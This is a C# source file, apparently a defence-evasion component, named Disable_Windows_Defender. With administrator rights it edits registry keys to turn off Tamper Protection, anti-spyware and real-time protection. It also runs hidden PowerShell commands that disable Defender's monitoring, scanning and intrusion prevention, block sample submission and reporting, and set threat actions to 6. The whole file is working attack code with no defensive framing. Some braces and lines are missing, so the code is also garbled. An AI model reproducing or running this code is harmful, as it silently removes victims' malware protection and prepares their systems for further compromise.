using System.Diagnostics;
using System.Security.Principal;
namespace Disable_Windows_Defender
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableBehaviorMonitoring", "1");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableOnAccessProtection", "1");
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", "DisableScanOnRealtimeEnable", "1");
private static void RegistryEdit(string regPath, string name, string value)
using (RegistryKey key = Registry.LocalMachine.OpenSubKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree))
Registry.LocalMachine.CreateSubKey(regPath).SetValue(name, value, RegistryValueKind.DWord);
if (key.GetValue(name) != (object)value)
key.SetValue(name, value, RegistryValueKind.DWord);
private static void CheckDefender()
Process proc = new Process
StartInfo = new ProcessStartInfo
Arguments = "Get-MpPreference -verbose",
RedirectStandardOutput = true,
WindowStyle = ProcessWindowStyle.Hidden,
while (!proc.StandardOutput.EndOfStream)
string line = proc.StandardOutput.ReadLine();
if (line.Contains(@"DisableRealtimeMonitoring") && line.Contains("False"))
RunPS("Set-MpPreference -DisableRealtimeMonitoring $true");
else if (line.Contains(@"DisableBehaviorMonitoring") && line.Contains("False"))
RunPS("Set-MpPreference -DisableBehaviorMonitoring $true");
else if (line.Contains(@"DisableBlockAtFirstSeen") && line.Contains("False"))
RunPS("Set-MpPreference -DisableBlockAtFirstSeen $true");
else if (line.Contains(@"DisableIOAVProtection") && line.Contains("False"))
RunPS("Set-MpPreference -DisableIOAVProtection $true");
else if (line.Contains(@"DisablePrivacyMode") && line.Contains("False"))
RunPS("Set-MpPreference -DisablePrivacyMode $true");
else if (line.Contains(@"SignatureDisableUpdateOnStartupWithoutEngine") && line.Contains("False"))
RunPS("Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true");
else if (line.Contains(@"DisableArchiveScanning") && line.Contains("False"))
RunPS("Set-MpPreference -DisableArchiveScanning $true");
else if (line.Contains(@"DisableIntrusionPreventionSystem") && line.Contains("False"))
RunPS("Set-MpPreference -DisableIntrusionPreventionSystem $true");
else if (line.Contains(@"DisableScriptScanning") && line.Contains("False"))
RunPS("Set-MpPreference -DisableScriptScanning $true");
else if (line.Contains(@"SubmitSamplesConsent") && !line.Contains("2"))
RunPS("Set-MpPreference -SubmitSamplesConsent 2");
else if (line.Contains(@"MAPSReporting") && !line.Contains("0"))
RunPS("Set-MpPreference -MAPSReporting 0");
else if (line.Contains(@"HighThreatDefaultAction") && !line.Contains("6"))
RunPS("Set-MpPreference -HighThreatDefaultAction 6 -Force");
else if (line.Contains(@"ModerateThreatDefaultAction") && !line.Contains("6"))
RunPS("Set-MpPreference -ModerateThreatDefaultAction 6");
else if (line.Contains(@"LowThreatDefaultAction") && !line.Contains("6"))
RunPS("Set-MpPreference -LowThreatDefaultAction 6");
else if (line.Contains(@"SevereThreatDefaultAction") && !line.Contains("6"))
RunPS("Set-MpPreference -SevereThreatDefaultAction 6");
private static void RunPS(string args)
Process proc = new Process
StartInfo = new ProcessStartInfo
WindowStyle = ProcessWindowStyle.Hidden,